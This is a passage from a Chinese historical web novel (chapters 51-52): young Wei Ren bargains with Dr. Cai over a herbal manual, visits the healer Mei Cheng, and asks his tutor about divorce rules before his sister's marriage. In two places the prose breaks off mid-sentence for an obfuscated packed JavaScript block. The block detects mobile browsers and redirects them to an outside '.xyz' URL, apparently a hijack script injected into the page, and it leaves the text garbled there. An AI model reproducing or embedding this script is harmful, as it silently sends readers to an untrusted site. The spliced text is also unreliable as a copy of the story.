因为蔡大夫刚刚去如厕了,等在他这边的病人都去了另外一位大夫那里,韦仁顺理成章地成了蔡大夫需要接待的第一位“病人”。 仁济堂的诊间连个遮挡都没有,韦仁跟着蔡大夫过来,沈决明便也跟着走到了诊间门口,还能顺便帮着韦仁挡住其他人看过来的视线。 蔡大夫坐到案几后面,没好气地对韦仁说:“五郎君,你快回去吧,你又没病,别耽误其他病人看病。” 韦仁权当没听到,一屁股坐到蔡大夫对面,双手撑在案几上,低声问道:“蔡大夫,你刚刚不是问我为什么很熟悉那些药材吗?你现在不想知道了?” 蔡大夫没抬眼皮,但耳朵已经竖起来了。 韦仁也不卖关子:“因为我看过书呀。”韦仁捡了他刚刚选的草药中的一种,撒鱼饵般地细细讲了一遍草药的炮制方法和功能。 鱼饵实在美味,蔡大夫只听到一半就已经抬起了头,等到韦仁说完,蔡大夫急急开口问道:“干归还能用于风湿痹痛,可是当真?” 韦仁愣了愣:“书上是这么写的。” 蔡大夫略略俯低身体,凑近韦仁,压低了声音问道:“五郎君,那书上记了多少种草药?” 韦仁眨眨眼睛,也学着蔡大夫的样子,接头似地用气音答道:“这就要看蔡大夫你家的《药录》里记载了多少种草药了。” 蔡大夫盯着韦仁琥珀色的眼睛,孩童的眼睛真是又亮又清澈,看着就特别可信:“我若是将《药录》借给五郎君抄录……” 韦仁伸出小手指,意思意思地勾了勾:“我定不会让蔡大夫吃亏!” 虽然韦仁看起来特别有底气,蔡大夫也还是有些疑虑,追问一句:“我家的《药录》里可是记载了百余味药材。” 韦仁扬了扬眉:“101和199都是百余,蔡大夫,你说的‘百余’是哪种呀?” 听到韦仁如此说,蔡大夫放了些心,说道:“137种。” 韦仁再次勾了勾小手指,信口胡诌:“我看的那书比你这个足足多了20种!” 蔡大夫眼睛一亮:“你全都给我看?” 韦仁撅嘴:“我都说了,不会让你吃亏的!” 蔡大夫稍稍犹豫了一下,终是伸出手钩住了那根细细白白的手指:“那,咱们说定了,可不能耍赖!” 韦仁晃了晃小手:“放心放心,我骗谁也不能骗蔡大夫呀!” 51.日常 韦仁的想法是,他先把蔡大夫的《药录》拿来抄,顺道帮忙检查一下里面的问题,同时再参考着《药录》里的草药编一套草药集出来,到时候将两套药书一同拿给蔡大夫就是了。 结果,人心隔肚皮,蔡大夫体会不到韦仁的“良苦用心”,明明已经与他拉钩完毕,蔡大夫仍是不见兔子不撒鹰,无论韦仁怎么吹牛,蔡大夫就是不肯先拿出《药录》。 双方都有意,双方又各有主意,结果就是,韦仁和蔡大夫愣是把交流书籍这么文雅的事谈成了买卖。 韦仁和蔡大夫达成的最终协议是:双方同一时间交换药书,不过,因为韦仁的药书中记录的草药比蔡大夫家的《药录》多,蔡大夫必须先提供给韦仁一份草药名单,后面,蔡大夫抄写韦仁的药书时还要替韦仁多抄一份。 蔡大夫显然对自己家的《药录》记得很熟,花了不到半刻钟的时间就誊写了一份草药名单,蔡大夫将竹简交给韦仁时,没忍住说了一句:“以前是蔡某眼拙,真没看出来,五郎君如此善言呐!” 韦仁接过竹简后,也感叹一句:“哪里哪里,比起蔡大夫,我还差得远呢!”蔡大夫在医馆当真是屈才了,盘个铺子去当掌柜吧,保准生意红火! 出了仁济堂后,韦仁把竹简递给了沈决明,随口吩咐道:“药书不是我家的,我每日默记一段,你帮我录下来,《仓颉篇》的笔记暂时放一放,等把蔡大夫的《药录》也抄完再继续。” 沈决明颔首表示知道了。 走了一趟器肆和仁济堂,韦仁的私房钱又只剩不到百枚五铢钱了,韦仁颠了颠重新瘪下去的荷囊,想了想,才说:“难得出来了,去一趟后井巷吧,看看大乘在没在那边。” 后井巷和韦宅所在的慧和巷同属于广阳里,二者距离也不算太远,居住在后井巷的人中有相当一部分人是以为广阳里其他宅邸做工为生的,所以,后井巷的环境虽然不太好,但人员并不混乱。 正因如此,韦仁说来后井巷,沈决明很干脆地就赶着牛车来了。 韦仁出行,基本都是坐车,但这也不妨碍他注意到路边两侧未清理的野草,以及那一坨坨不知道出自谁家的谁谁的便便。 相较而言,后井巷里反而比主街还整洁些,至少梅乘的“摊子”方圆三丈以内是没有垃圾的。 韦仁看到梅乘时,梅乘正在给一个八、九岁的小女娃把脉,女娃娃躺靠在一个女人的怀里,女人满脸担忧,女娃娃则是蔫蔫的,眼睛都是半阖着的,二人身上的衣服很陈旧,韦仁只扫过去一眼,就看到了好几处补丁。 韦仁别开视线,靠着车板,仰头看向距离自己最近的一处院子——黄土院墙差不多半丈多高,门墙加起来有四丈宽,越过墙头,除了一些杂草,韦仁还看到了开着零星花朵的柿子树的树梢。 韦仁轻轻呼出口气,扭头问站在牛车前的沈决明:“沈决明,你喜欢吃柿子不?” 沈决明顺着韦仁的视线看过去,也看到了柿子花,想了想,沈决明伸出食指,在韦仁伸出的手掌心上划字:我觉得能吃的东西都很好吃。 韦仁没忍住笑出了声:“这话很是!祖宅,哦,现在是二伯父一家在住,那院子里有好几株柿子树,每年结的柿子都特别甜。” 韦仁和沈决明“商量”,看到时候是他爬梯子去摘,还是沈决明爬树去摘,或者是沈决明教他爬树,然后他爬树去摘。 韦仁有一句没一句地叨叨着柿子,都说到是过过水的柿饼好吃,还是直接晾晒的柿饼好吃了,不远处突然传来了梅乘叫他的声音。 韦仁看过去,发现那对儿母女已经不在,韦仁张开手臂让沈决明把他抱下车,双脚一落地,韦仁就冲着已经起身要迎他的梅乘小跑了过去。 韦仁挥挥手示意梅乘不用行礼,笑眯眯地说:“我今天正好出门办事,顺道过来看看,没想到你还真在。”韦仁瞅一眼梅乘席子边摆着的两小堆菜,故意问道,“挺水灵的,卖得不错吧?” 梅乘哭笑不得,仍是对韦仁作了一揖,才答道:“承五郎君吉言,确实还行。” 韦仁挑了挑眉:“你还真在卖菜呀?” 梅乘指了其中小一点儿的那堆菜,说道:“那些是我采药时顺便摘的,都是些野菜,卖了也能换几枚铜钱。”卖不了的就拿回去吃掉,反正是不会浪费掉的。 梅乘免费给后井巷的人看病,但凡他有把握,他会免费给人家开一剂药,病人吃了若有用,以后的药他就要钱了,病人吃了若是没用,梅乘就会劝病人去医馆,当然,绝大多数人都不会去医馆的。 梅乘向韦仁解释了一番,最后才指了指另外一堆菜,叹息着说:“有些人实在没钱,就摘些自家的菜给我,权当是药钱了。” 韦仁好奇:“有赚头不?” 梅乘:…… 韦仁一看梅乘那便秘似的脸,理解地点了点头:“懂了。” 梅乘:…… 韦仁抬手拍了拍梅乘的胳膊,安慰道:“哎呀,这也是为了学习嘛,铜钱什么的,以后再赚就是了。” 梅先生和梅乘虽然不是特别有钱,但也不算缺钱,除了在他们家领取的薪俸外,梅先生和梅乘采药卖药的钱也是很大一笔进项,才从仁济堂出来的韦仁对此深有感触:他买的那些药,以斤两计算的话,差不多是同等重量的粟米的60多倍,可想而知现在的药材到底有多贵! 说到学习,梅乘的眼睛也亮起来,兴奋地说:“你说得对,就那句‘多诊识脉’,真是很有道理,我阿公都说我有点开窍了!我觉得若是我现在摸几个月前的你的脉,肯定能摸出你脉浮紧。” 韦仁指指沈决明:“你给他摸摸?” 韦仁一定要拿沈决明做试验,沈决明也没辙,只能坐到梅乘对面的草垫上让梅乘给他把脉。 梅乘半蹲着,在沈决明的头颈和双手手腕处摸了好一会儿,才说:“脉缓而弱。”梅乘端量着沈决明的脸色,疑惑道,“看着不像啊,瘦是瘦了些,脸色也稍黄,但眼中有神,决明,你伸舌头我看看。” 梅乘的眼里是满满的求知欲,又有韦仁在旁边盯着,沈决明只好伸出舌头让梅乘查看。 梅乘“唔唔”两声:“还真是。”梅乘微微蹙着眉,看向韦仁,“五郎君,决明的身子有些虚。”其实,不是有些虚,是很虚,虽然沈决明举手投足间的那股利落劲儿看着是能一拳头就把自己打趴下,梅乘却对自己的诊断结果有七八分的把握。 闻言,沈决明就着坐着的姿势,直接在地上划字:之前看过大夫,大夫说我慢慢养着就行。 韦仁颔首:“我知道了,别的不敢保证,在君子院里,一定让你吃饱穿暖保持心情愉快。” 沈决明低下头,没忍住轻轻勾了一下唇角。 韦仁来后井巷找梅乘,除了顺道关心关心他的诊脉事业外,也是另外有事要找他说:“大乘,我在仁济堂买了些草药,今天回去后我让沈决明给你送过去,你帮我单独存起来,谁都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13499359|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不许动。”草药的保存有很多讲究,药买回来了,却不好放在君子院。 梅乘爽快应下:“是。” 韦仁左右看看,巷子里一直有人走动,但看样子暂时没人要找梅乘,韦仁便指了指停靠在不远处的牛车:“大乘,快午时了,我请你和沈决明吃饭。你现在比我还忙,我找你都难,今天给你说个人,你什么时候去新聚的话可以去找他,他也会进山采药,兴许你们可以做个伴。” 韦仁这话不是临时起意,自从知道谷元也识得草药,韦仁便想把谷元介绍给梅乘认识。 梅先生的身体看着还硬朗,但也五十多岁了,是不可能再频繁进山采药的,韦仁虽然没进过山,但从梅先生不许梅乘一个人进山这一点看,韦仁便知道进山肯定是有风险的。 梅乘和谷元年纪相近,境遇也差不多,二人也都不是难相处的人,韦仁觉得让二人认识一下,哪怕不能合作,当是交个朋友也是好的。 韦仁带着沈决明,跟着梅乘去了一家主卖汤饼的食肆,食肆不大,但负责做饭的厨娘、招待的肆主以及用餐环境都很干净,而这也是梅乘选择这家食肆的主要原因——好不好吃是其次,韦仁吃了肯定不会生病才最重要。 与此同时,在同等口味的条件下,这家食肆的食价也比较公道。关于这一点,倒不是梅乘想替韦仁省钱或者不敢让韦仁破费什么的,而是韦仁让梅乘推荐食肆前就说了,预算不能超过60铜钱,超过了就把他们俩压在食肆里给人家洗盘子还债。 韦沈梅三个人年纪都不大,哪怕身份有别,以至于这还是他们第一次同桌而食,沈决明和梅乘倒也没太多扭捏。 特别是梅乘,他和韦仁叨叨他看过的那些病人以及摸过的那些脉时,真是眉飞色舞,滔滔不绝,再有韦仁这么一个绝佳的捧哏,三个人只点了四碗汤饼和一蝶小菜,竟吃了整整一个时辰,惹得肆主在他们那桌食案旁来回走了好几回,还瞟了他们好多眼。 用过午食后,韦仁才拎着只剩下53枚五铢钱的荷囊回去了韦宅。 才吃过饭,又到了韦仁平时睡午觉的时间,韦仁已经有些困了,想着给父母请安后就回去睡觉,谁知走进正堂后,韦仁才发现一家人都在旁厅呢,除此以外还有一个半生不熟的妇人。 赵氏看到韦仁打着哈欠走进来,忙对他招了招手:“可算是回来了,再不见你,我就该让人去找你了。”韦仁早上离开家时只说去市集逛逛,谁想他能逛到午食都没回家吃。 韦仁向父母兄姊见礼后,才看向那妇人:“是怀掌柜吗?” 怀掌柜这时候已经站起身,笑着向韦仁行了一礼:“请五郎君安,没想到五郎君还记得我。” 韦仁向怀掌柜还礼后,看向赵氏:“阿母,要做新衣服吗?”怀掌柜是庆远布肆的掌柜,换季时或者肆内有了新料子时,他们家的女伙计也会送来样品,没想到这次会是怀掌柜亲自来。 赵氏一边示意韦仁走过去让怀掌柜给他量尺寸,一边笑着解释:“下个月都是好日子,这一季,你们姊弟三个都多做两套衣服。” 韦仁“哦”了一声,一边展开双臂让怀掌柜给他量体,一边冲着韦元茹眨眨眼睛:“嘿嘿嘿!” 韦元茹难得被自家弟弟笑得羞了,韦元茹瞪韦仁一眼,随即微微撇开了头,对着韦仁这边的脸颊和耳朵却都变成了粉红粉红的颜色—— 下个月有两个大好日子,一个是韦君和出嫁,另一个就是李家要到韦家请期了! 52.后盾 请期,即男方到女方家里,向女方通告卜算好的成亲的吉日,这是六礼中的第五礼,即是说,韦元茹留在韦家的日子当真是不长了。 对此,韦玄成和赵氏作为父母怀揣着的是有些复杂、但整体而言还是喜悦的心情,韦仁是单纯为韦元茹喜事将近而高兴,韦世然却真是有些不高兴—— 虽然韦世然觉得自家大姊有时候有点儿凶,还经常指使他做事,不过对他还是很好的,所以,韦世然内心深处其实不太希望韦元茹嫁去李家,哪怕晚个几年再嫁过去也好呀! 所以,当韦仁量身完毕后高高兴兴回去君子院准备睡午觉时,韦世然就亦步亦趋地跟在了韦仁身后,打算与弟弟吐一吐心中的烦闷。 韦仁仰躺在床上,双手搭在肚皮上,眼睛一闭,呼吸平缓,完全就是一副没看到床上还坐着另外一个人的样子。韦仁也不是故意要无视韦世然,他是真的困了,哪怕韦世然一副欲言又止的纠结样子,韦仁也想先睡完午觉再听自家大兄欲的那个“言”。 韦世然却是没韦仁那种耐心,见自家弟弟不打算搭理自己,韦世然干脆主动出击,一边拍韦仁的脑门一边唤道:“五郎,一会儿再睡!” 韦世然下手还算有分寸,韦仁没感觉到疼,但也被闹得睡不着,只得半撩起一只眼睛的眼皮,目无焦距地望着韦世然,韦仁声音含混地问:“干什么呀?” 韦世然盘着腿,一手撑着下巴,一手撵着韦仁身上的薄毯,没精打采地说:“你说,有没有什么办法让大姊晚嫁些日子?” “为什么?” “我不舍得大姊。”韦世然瘪瘪嘴,“可是,我看阿翁阿母和大姊都挺高兴的。”所以他也只能来和弟弟商量了。 韦世然的话在韦仁的脑海里艰难地转悠了一圈儿后,韦仁才慢悠悠地答了一句:“大姊喜欢,你不舍得也没用。” 眼见着韦仁的眼睛就要重新阖上,韦世然干脆用手指戳了戳韦仁的眼皮,想替他把眼皮撑起来:“五郎,你就舍得大姊去李家?” 眼皮被强行拉开,暴露出来的眼珠子都有些凉飕飕的,韦仁气得一巴掌呼向韦世然的手背,结果还被韦世然反应迅速地躲开了。 眼珠子重新被眼睑覆盖,韦仁以为自己能睡了,结果韦世然又来捏他的鼻子。 韦仁气得下意识地想深吸一口气缓解胸口的躁意,结果韦世然捏得瓷实,韦仁这口气吸得胸口一堵。 韦仁意识到韦世然这是不得到答案不肯罢休了,只好无奈地张嘴认输:“你放开,我听你说话。” 韦世然立马放开手,韦仁重新吸了一口气,然后一骨碌从床上爬起来,盘起腿与自家大兄相对而坐,顺便回答了之前的问题:“舍得不舍得,是大姊要嫁人,大姊喜欢就好。”韦仁捂嘴打了个哈欠,泪眼婆娑地问道,“大兄,你也不讨厌李四兄吧?” 无论是韦世然还是韦仁自己,与李四郎的年龄差距都很大,韦李两家离得也不近,要说感情有多深那是没有,但李四郎在书信中对他们的问候以及各种小礼物从来没断过,哪怕李四郎是因韦元茹爱屋及乌,韦仁也觉得李四郎对他们很不错了,反正他就从来没关心过李四郎的兄姊弟妹们。 韦世然也承认:“不讨厌啊。” “那不就好了?”韦仁给韦世然分析,“大姊和李四兄互相喜欢,李伯母我不太了解,但阿母和大姊都见过,也没听她们说过李伯母有什么不好的,李伯伯和阿翁更是多年好友,最重要的是,大姊自己能干,去了李家也能过好日子的。” “那肯定也没有在家里好。”韦世然忽然压低了声音,扒在韦仁耳边说了个八卦,“卫二兄前几天把卫大姊从她舅姑家接回来了。” “为什么?” “卫大姊和她夫君吵架了。”韦世然的眼睛左右环视了一下床上床下,仿佛是怕有人偷听,“五郎,你别和别人说哦,卫询说卫大姊的丈夫要纳妾室。” 韦仁挑了挑眉,困意都淡了些:“有名分的那种?” 韦世然点了点头。 韦世然和韦仁两个加起来还不到二十岁的小郎君之所以了解纳妾室的事是因为“纳妾”在大多数人家也是一件稀罕事,而且,韦仁和韦世然的亲奶奶就是有名分的妾室—— 在韦家,无论是韦玄成那一辈,还是韦仁他们这一辈中,都有庶出子女,但有妾室名分的女人其实只有两个,分别是韦玄成和韦舜的亲母,二人的名分还是在韦贤做官后追加的——庶人是没有资格纳妾的,哪怕是官员,若非受到额外封赏,最多也只能纳两个妾。 韦世然对夫妻吵架、丈夫纳妾之类的事没什么切实感受,他主要是从卫大姊的事联想到了韦元茹身上:若大姊哪天和李四兄吵架了,他和韦仁是不是也得要去李家把大姊接回家? 问题是,如果是在家里,哪怕韦元茹和所有人都吵架了,也只要回去扫眉院就好,根本不会出去韦宅的大门等着谁接她回去哪里,因为这里就是韦元茹的家。 韦世然的思绪有些混乱,也还没理清楚自己到底想做什么,只能断断续续地把各种想法说与韦仁听。 韦仁听完了,倒是理解了韦世然的意思,说白了,韦世然在担心韦元茹在李家会被人欺负。 韦仁从没担心过韦元茹会被李家人欺负,要说受些委屈,那多半是难免的。只是,韦仁一直觉得,以韦元茹的性情和能力,哪怕受了委屈,早晚也能报复回去。 韦仁之前一点儿没觉得自己的想法有什么问题,如今见韦世然这样,又听到卫大姊的事,韦仁的心里也开始有些不舒服。 韦仁托着下巴思考了半晌才说道:“让大姊晚嫁过去估计是不行了,不过,等大姊嫁去李家后,咱们可以每个月都给大姊写信,然后每两三个月就亲自去李家看望大姊,这样就没人敢欺负大姊了。” 韦世然有些怀疑:“这样有用吗?” “这样做能让李家人知道咱们在乎大姊,不要以为大姊去了他们家就是单蹦一个人,大姊后面还有咱们。再有就是,咱们可以及时知道大姊在李家过得高不高兴。”韦仁挥了挥拳头,“李四兄喜欢大姊,应该会对她好的,如果他哪天脑袋不清楚真欺负了大姊,咱们与大姊常联系,一知道立马就能去揍李四兄!” 韦世然缓慢地眨了下眼睛,又点了点头:“有道理,我好好练骑射,到时候能快一点儿到李家,实在打不过,我也能用箭射他!”韦世然这话有些吹牛,李四郎的功夫是很厉害的,韦世然不是“实在打不过”,他是“肯定打不过”。 韦仁却是跟着点了点头,又补充道:“咱们打不过也不怕,可以叫上沈决明和三禾他们,还有许先生呢!” “对哦!还有大许,哎,也不知道二许现在走到哪里了,我上次去大许那里,大许还念叨二许来着……” 韦仁和韦世然莫名就开始细数身边有哪些人是可以叫去一起打未来姊夫的,站在君子院西厢檐廊上的韦玄成和赵氏相视一笑,没有惊动屋里两个小的,夫妻二人便相携着离开了君子院——韦世然在正院时虽然没有把心中的烦闷摆在脸上,但身为父母的韦玄成和赵氏哪里会看不出来,本想过来问一问,不想竟是听到这样一番对话。 韦玄成和赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13518286|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氏却是不知,韦仁除了和韦世然约定以后要与韦元茹保持频繁的联系外,他还去向戚先生咨询了一下如今的“婚姻法”。 彼时正是中午,以往这时候,戚先生都是给韦仁做些答疑,或者额外教他一些零零散散的知识,此时听到韦仁问起“绝婚”的事,戚先生都有些纳闷:“你怎么想起问这个?”虽然韦仁平时也会问一些稀奇古怪的问题,但这个问题实在太奇怪了。 韦仁诚实回答:“我家里有两个姊姊快出嫁了。” 戚先生:…… 戚先生实在没忍住,追问了一句:“既如此,你也该问些结婚的事吧?”你两个姊姊要出嫁,你问绝婚的事,亏你想得出来! 韦仁十分无辜:“我知道结婚的事呀。”韦仁掰着手指头数,“结婚要行六礼,纳采、问名、纳吉、纳征、请期和亲迎。”韦仁还说出了前四礼的具体步骤和各种细节。 戚先生点了点头,又为韦仁讲解了一番请期和亲迎的礼仪,而后才回答他的疑问:“绝婚的原因就是那几种,无子、口舌、嫉妒、盗窃、不得舅姑喜欢或者失德。” 韦仁有些懵,“不得舅姑喜欢”是什么鬼?喜欢不喜欢的,还不全凭一张嘴,还有那个十分灵活的“失德”…… 韦仁有些忧虑,忙问道:“先生,你说的都是夫弃妇的理由吧?妇不能弃夫吗?” 戚先生愣了愣,想了想,才说:“有些情况,妇也是可以去夫的。” 闻此言,韦仁的眼睛唰地就亮了,韦仁拉着屁股底下的蒲团往戚先生的方向蹭近了些,问道:“什么情况可以弃夫?” 戚先生轻咳一声,答道:“例如丈夫失德、无法养活家人或者身患恶疾,女子便能去夫。” 韦仁拍了拍胸脯,长长“哦——”了一声:“这样我们就能放心了。” 韦仁记得曾经一位经历过两段婚姻的朋友的一句话,她说:“经济独立是我的底气,爱我的爸妈是我的后盾,而离婚是我的退路,有这三点,只要我愿意,我任何时候都能过舒心日子,至于身边的男人是谁,重要,但也没那么重要。” 韦仁的性情虽与那位朋友不大相同,只是站在韦元茹的立场上,韦仁觉得那位朋友的婚姻哲学还是很值得参考的。如今得知女子在婚姻中也有一定的主动权,韦仁对自家大姊未来的婚姻生活有了更多的信心。 韦仁满意的不得了,欢欢喜喜又特别真诚地谢谢戚先生为他解惑。 殊不知他这副“不用担心姊姊找不到理由休掉姊夫,很好很好”的神情看得戚先生嘴角直抽抽。戚先生都忍不住怀疑,是不是韦仁的姊姊或者姊夫大大地得罪了他,这还没出嫁呢,韦仁已经开始盼着人家绝婚了! 戚先生有此怀疑,之后几日教导韦仁时,不免就说了些关于孝悌的故事,想以此告诫韦仁要友爱兄弟姊妹。 韦仁却是没有体会到戚先生此举的深意,当听到戚先生讲到“夷齐让国”的故事,韦仁还没忍住吐了两位贤人一槽:“这个故事不就是说,大儿子和小儿子怕自己名声不好,都不肯要父亲留下的田地,他们也不管地会不会荒掉,自己拍拍屁股离家出走倒是轻松了,可家里还一堆人要靠那块儿地过日子呐,这也忒不负责了,我要是他们的兄弟我得愁死。” 戚先生:…… 戚先生读了这么多年的圣贤书,也没听过这种言论呀,登时气得吹胡子,挥挥手把韦仁撵走了,当日放学时都没让他留下来去后院拔草抓虫子。 韦仁也不在意,权当戚先生给他放一天假,谁想,一回家就有毋忧和石二郎等着向他汇报事情。